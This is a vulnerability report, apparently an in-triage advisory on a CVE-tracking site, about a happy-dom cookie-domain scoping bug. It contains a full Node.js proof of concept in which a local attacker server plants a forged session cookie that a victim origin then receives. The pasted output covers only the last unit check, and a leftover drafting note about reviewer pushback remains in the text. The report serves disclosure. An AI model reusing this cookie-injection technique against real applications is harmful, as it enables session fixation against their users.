In triage 2026-10-28 5.7 ×75.6 ×95.5 ×205.4 ×14 ### Summary A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics. ### Details happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts. ### PoC Run: ```bash node poc-happydom-cookie-domain.js ``` Full proof-of-concept source (poc-happydom-cookie-domain.js): ```js // PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation // Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1) // -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1) // -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL) // -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie // Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js const http = require('http'); const { Window } = require('happy-dom'); const ATK_PORT = 19311; // attacker server, 127.0.0.1 const VIC_PORT = 19312; // victim server, localhost let victimReceivedCookies = []; let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`; const attacker = http.createServer((req, res) => { if (req.method === 'OPTIONS') { // CORS preflight (happy-dom enforces same-origin policy with a preflight; the // attacker trivially answers it — an attacker-controlled server always can) res.writeHead(204, { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, OPTIONS', 'Access-Control-Allow-Headers': '*' }); res.end(); return; } res.writeHead(200, { 'content-type': 'image/gif', 'Access-Control-Allow-Origin': '*', // Attacker claims Domain=localhost even though it is serving from 127.0.0.1. // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of // the request-host; localhost is also on the Mozilla PSL). 'Set-Cookie': attackerSetCookie }); res.end('GIF89a'); }); const victim = http.createServer((req, res) => { victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null }); res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ ok: true, user: 'alice' })); }); function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); } async function runScenario(scenario) { victimReceivedCookies = []; const win = new Window({ url: `http://localhost:${VIC_PORT}/`, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); try { if (scenario === 'no-plant-control') { // Control: app NEVER contacts attacker -> victim must receive NO cookie await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } else if (scenario === 'honest-domain-control') { // Control: attacker sets Domain=127.0.0.1 (its own host, honest) // -> cookie must NOT leak to localhost victim attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`; await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`); await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } else { // attack: app fetches attacker content (scraping/SSR/third-party resource) await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`); await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } await sleep(150); return victimReceivedCookies; } finally { win.happyDOM.abort(); } } async function main() { await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r)); console.log('=== happy-dom cookie-domain scoping PoC ===\n'); const attack = await runScenario('attack'); console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)'); attack.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER')); console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`); const noPlant = await runScenario('no-plant-control'); console.log('\n[CONTROL] app never contacts attacker'); noPlant.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); const honest = await runScenario('honest-domain-control'); console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only'); honest.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects) const win2 = new Window({ url: `http://localhost:${VIC_PORT}/`, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix! const readBack = win2.document.cookie; console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`); console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`); win2.happyDOM.abort(); // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain) const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js'); const matchesBoundary = CookieURLUtility.cookieMatchesURL( { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' }, new URL('https://notexample.com/') ); console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`); console.log(` -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`); attacker.close(); victim.close(); process.exit(0); } main().catch((e) => { console.error(e); process.exit(1); }); ``` Observed output (verbatim, Node 24.15.0, Windows): ``` [UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match ``` ### Impact Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.